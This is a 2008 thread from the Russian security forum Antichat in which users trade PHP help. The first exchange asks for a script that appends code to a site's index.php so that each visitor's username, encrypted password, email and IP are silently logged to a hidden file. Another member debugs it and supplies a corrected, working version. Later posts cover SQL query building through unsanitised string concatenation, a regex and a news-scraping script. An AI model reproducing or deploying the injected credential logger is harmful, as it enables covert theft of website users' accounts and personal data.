ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

08.11.2008, 22:25
|
|
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме: 185461
Репутация:
12
|
|
спс!
есть у меня такой код:
PHP код:
<?
$fp=fopen("index.php","a");
fputs($fp,"
<?php
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("[D|d/m/Y|H:i]");
$fp=fopen ("include/mess.php","a");
fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>");
fclose($fp);
?>
что в нем не так помогите плз (он должен в файле index.php дописать это
PHP код:
<?php
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("[D|d/m/Y|H:i]");
$fp=fopen ("include/mess.php","a");
fputs($fp,"\r$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode "); fclose($fp); ?>
Последний раз редактировалось sadfeel; 08.11.2008 в 23:03..
|
|
|

08.11.2008, 22:59
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
sadfeel
PHP код:
<?
$fp=fopen("index.php","a+");
$tmp=<<<HTT
<?php
$win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen
("include/mess.php","a+");
fputs($fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
|
|
|

08.11.2008, 23:12
|
|
Постоянный
Регистрация: 22.03.2008
Сообщений: 325
Провел на форуме: 1208132
Репутация:
63
|
|
Так значит у меня пробла ... .есть массив $a[] в нём храняться какие то числа допутим=>{123,23,23,23}
Мне нужно поставить в mYSQl столько OR сколько там чисел , допутим если 4 числа значит будет такой запрос(Но я низнаю сколько там чисел)
PHP код:
$frien = mysql_query("SELECT * FROM bhost_friends WHERE u_id='".$a[0]."' OR u_id='".$a[1]."' u_id='".$a[2]."' u_id='".$a[3]."'");
ВОт решение
for($k=0;$k<$m;$k++){$c .= 'OR u_id='.$a[$k].' ';}echo $c;
Последний раз редактировалось Buffalon; 08.11.2008 в 23:27..
|
|
|

08.11.2008, 23:12
|
|
Познающий
Регистрация: 05.11.2008
Сообщений: 79
Провел на форуме: 185461
Репутация:
12
|
|
Сообщение от Gifts
sadfeel
PHP код:
<?
$fp=fopen("index.php","a+");
$tmp=<<<HTT
<?php
$win=getenv("windir");$ip=getenv("Remote_addr"); $date= date("[D|d/m/Y|H:i]");$fp=fopen
("include/mess.php","a+");
fputs($fp,"\r\n$logged_user_name-$enc_user_pass\t$user_email\t[$date\t$ip\t$win]id=$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
пишет что ошибка вот сдесь - $tmp=<<<HTT
|
|
|

08.11.2008, 23:14
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме: 9220514
Репутация:
3338
|
|
есс-но, быдлокод какой-то, извините
бол-мен правильно (хоть я и не спец) так:
PHP код:
<?
$fp=fopen('log.txt','a+');
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("d.m.Y H:i");
if ($fp)
{
fputs($fp,$date . "\r\n");
fputs($fp,$ip . "\r\n");
fputs($fp,$win . "\r\n");
}
?>
и это просто вставить в index.php, в любое место (правда логичнее в login.php или что-то подобное)
Или что надо? Чтобы в index.php эта инфа выводилась? тогда так:
PHP код:
<?
$fp=fopen('log.txt','a+');
$win=getenv("windir");
$ip=getenv("Remote_addr");
$date= date("d.m.Y H:i");
if ($fp)
{
fputs($fp,$date . "\r\n");
fputs($fp,$ip . "\r\n");
fputs($fp,$win . "\r\n");
}
echo $win;
echo "\n";
echo $ip;
echo "\n";
echo $date;
echo "\n";
?>
Последний раз редактировалось Pashkela; 08.11.2008 в 23:33..
|
|
|

08.11.2008, 23:22
|
|
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме: 1510937
Репутация:
398
|
|
как ускорить данный код
PHP код:
preg_match('#<div class="summary">.* (.*) .*</div>#', $responce, $count_sounds);
// (.*) - значение цифра
// .* - пропуск текста
Последний раз редактировалось PandoraBox; 08.11.2008 в 23:24..
|
|
|

08.11.2008, 23:28
|
|
Reservists Of Antichat - Level 6
Регистрация: 25.04.2008
Сообщений: 827
Провел на форуме: 2769640
Репутация:
1304
|
|
Buffalon
PHP код:
mysql_query("SELECT * FROM bhost_friends WHERE u_id='".implode("' OR u_id='",$a)."'");
sadfeel Скопировать надо как есть, только я там забыл проэкранировать знаки доллара. Исправленый вариант:
PHP код:
<?
$fp=fopen("index2.php","a+");
$tmp=<<<HTT
<?php
\$win=getenv("windir");\$ip=getenv("Remote_addr"); \$date= date("[D|d/m/Y|H:i]");\$fp=fopen
("include/mess.php","a+");
fputs(\$fp,"\r\n\$logged_user_name-\$enc_user_pass\t\$user_email\t[\$date\t\$ip\t\$win]id=\$activationcode ");
?>
HTT;
fputs($fp,$tmp);
fclose($fp);
?>
PandoraBox приведи пример строки
Последний раз редактировалось Gifts; 08.11.2008 в 23:37..
|
|
|

08.11.2008, 23:41
|
|
Постоянный
Регистрация: 29.05.2007
Сообщений: 852
Провел на форуме: 4832771
Репутация:
1916
|
|
Сообщение от Gifts
PandoraBox приведи пример строки
пример кода он врядли приведёт, т.к. его много)
а пишет он граббер контакта))
PandoraBox чем тебя так не устраивает?
PHP код:
preg_match('#<div class="summary">(.+)</div>#Us', $responce, $count_sounds);
|
|
|

08.11.2008, 23:57
|
|
Постоянный
Регистрация: 06.05.2007
Сообщений: 393
Провел на форуме: 1510937
Репутация:
398
|
|
Сообщение от .:EnoT:.
PandoraBox чем тебя так не устраивает?
так мне нада только цифры intval();
Код:
<div class="summary">Найдено 4886 аудиозаписей.</div>
Последний раз редактировалось PandoraBox; 09.11.2008 в 00:14..
|
|
|

08.11.2008, 23:57
|
|
Участник форума
Регистрация: 01.03.2006
Сообщений: 169
Провел на форуме: 519496
Репутация:
78
|
|
Такая проблема. Скрипт для граббинга новостей с newsland. Но почему то при нажатии на кнопку, он производит граббинг 2 раза. Не пойму почему(((
PHP код:
<html>
<form method="post">
<input type="submit" name="sub" value="Грабить новости">
</form>
</html>
<?php
if (isset($_POST['sub']))
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://newsland.ru/index/index/ord/22/cat/64/");
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$text = curl_exec($ch);
curl_close($ch);
preg_match_all("#<a href=\"\/News\/Detail\/id\/(.+)\">#",$text,$results);
for($i=0;$i<count($results[0]);$i++)
{
$urlsis="http://newsland.ru".str_replace(array('<a href="','">'),null,$results[0][$i]);
if ($urlsis!="http://newsland.ru/News/Detail/id/284971/cat/78")$urls[]=$urlsis;
}
for($j=0;$j<count($urls);$j++)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $urls[$j]);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$text_news = curl_exec($ch);
curl_close($ch);
preg_match('#<h1 class="mt10 grey">(.*?)</h1>(.*?)<div class="bodytext mt5">(.*?)</div></div>#s',$text_news,$result_news);
$result_news[0]=iconv("UTF-8", "WINDOWS-1251",$result_news[0]);
preg_match('#<img src="(.+)" title="(.+)" alt="(.+)" class="floatr mt10">#',$result_news[0],$result_image);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "http://newsland.ru".$result_image[1]);
curl_setopt($ch, CURLOPT_HEADER, FALSE);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
curl_setopt($ch, CURLOPT_USERAGENT, "MSIE 7.0");
curl_setopt($ch, CURLOPT_TIMEOUT, 20);
$result_load_image = curl_exec($ch);
curl_close($ch);
$name_image=substr($result_image[1],strrpos($result_image[1],"/")+1);
$good_image = fopen("./rssnews_image/".$name_image, "w");
fputs($good_image, $result_load_image);
$src="<div style=\"float: left;\"><img src=\"./rssnews_image/".$name_image."\" title=\"".$result_image[2]."\" alt=\"".$result_image[2]."\" class=\"imagestyle\"></div>";
$time=date(d."-".m."-".y)."\r\n";
$name=date(d."-".m."-".y."-".H."-".i."-".s);
$title=$result_image[2]."\r\n";
$body=str_replace(array('<div class="bodytext mt5">',$result_image[0],'</div>','<div class="newsctrl f12 mt10"><div>','</div></div>'),null,$result_news[0]);
$body=preg_replace('#<h1 class="mt10 grey">(.+)</h1>#',null,$body);
$body=str_replace('<a','<br><br><a',$body);
$good = fopen("./rssnews_/".$name.".txt", "a");
fwrite($good,$time.$title.$src."\r\n".trim($body));
fclose($good);
unset($body);
unset($name);
unset($title);
unset($src);
unset($time);
unset($text_news);
unset($result_news);
unset($result_load_image);
unset($good);
unset($good_image);
sleep(3);
}
}
?>
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|